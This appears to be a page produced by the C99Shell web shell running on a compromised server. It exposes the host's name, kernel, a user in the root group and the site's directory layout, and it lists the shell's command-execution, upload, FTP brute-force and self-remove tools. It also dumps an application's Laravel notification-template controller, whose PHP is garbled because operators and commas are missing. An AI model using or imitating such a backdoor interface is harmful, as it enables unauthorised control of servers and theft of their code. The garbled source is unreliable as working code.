!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     NotificationTemplatesController.php (3.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Language;
use 
App\Models\NotificationTemplateLangs;
use 
App\Models\NotificationTemplates;
use 
App\Models\Utility;
use 
Illuminate\Http\Request;

class 
NotificationTemplatesController extends Controller
{
    public function 
index($id null$lang 'en')
    {

        if(
\Auth::user()->type == 'super admin' || \Auth::user()->type == 'company')
        {

            if(
$id != null)
            {
                
$notification_template     NotificationTemplates::where('id',$id)->first();
            }
            else
            {
                
$notification_template     NotificationTemplates::first();
            }
            if(empty(
$notification_template))
            {
                return 
redirect()->back()->with('error'__('Not exists in notification template.'));
            }

            
$languages          Utility::languages();
            
$LangName Language::where('code',$lang)->first();
            
$curr_noti_tempLang NotificationTemplateLangs::where('parent_id''='$notification_template->id)
                                ->
where('lang'$lang)
                                ->
where('created_by''='\Auth::user()->creatorId())
                                ->
first();

            if(!isset(
$curr_noti_tempLang) || empty($curr_noti_tempLang))
            {
                
$curr_noti_tempLang       NotificationTemplateLangs::where('parent_id''='$notification_template->id)->where('lang'$lang)->first();
            }

            if(!isset(
$curr_noti_tempLang) || empty($curr_noti_tempLang))
            {
                
$curr_noti_tempLang       NotificationTemplateLangs::where('parent_id''='$notification_template->id)->where('lang''en')->first();
                !empty(
$curr_noti_tempLang) ? $curr_noti_tempLang->lang $lang null;
            }



            
$notification_templates NotificationTemplates::get();

            return 
view('notification_templates.index'compact('notification_template','notification_templates','curr_noti_tempLang','languages','LangName'));
        }
        else
        {
            return 
redirect()->back()->with('error'__('Permission denied.'));
        }
    }

    public function 
update(Request $request,$id)
    {
        
$validator \Validator::make(
            
$request->all(), [
                                
'content' => 'required',
                            ]
        );

        if(
$validator->fails())
        {
            
$messages $validator->getMessageBag();

            return 
redirect()->back()->with('error'$messages->first());
        }

        
$NotiLangTemplate NotificationTemplateLangs::where('parent_id''='$id)->where('lang''='$request->lang)->where('created_by''='\Auth::user()->creatorId())->first();

        
// if record not found then create new record else update it.
        
if(empty($NotiLangTemplate))
        {
            
$variables NotificationTemplateLangs::where('parent_id''='$id)->where('lang''='$request->lang)->first()->variables;

            
$NotiLangTemplate            = new NotificationTemplateLangs();
            
$NotiLangTemplate->parent_id $id;
            
$NotiLangTemplate->lang      $request['lang'];
            
$NotiLangTemplate->content   $request['content'];
            
$NotiLangTemplate->variables $variables;
            
$NotiLangTemplate->created_by \Auth::user()->creatorId();
            
$NotiLangTemplate->save();
        }
        else
        {
            
$NotiLangTemplate->content $request['content'];
            
$NotiLangTemplate->save();
        }

        return 
redirect()->route(
            
'notification-templates.index', [
                
$id,
                
$request->lang,
            ]
        )->
with('success'__('Notification Template successfully updated.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--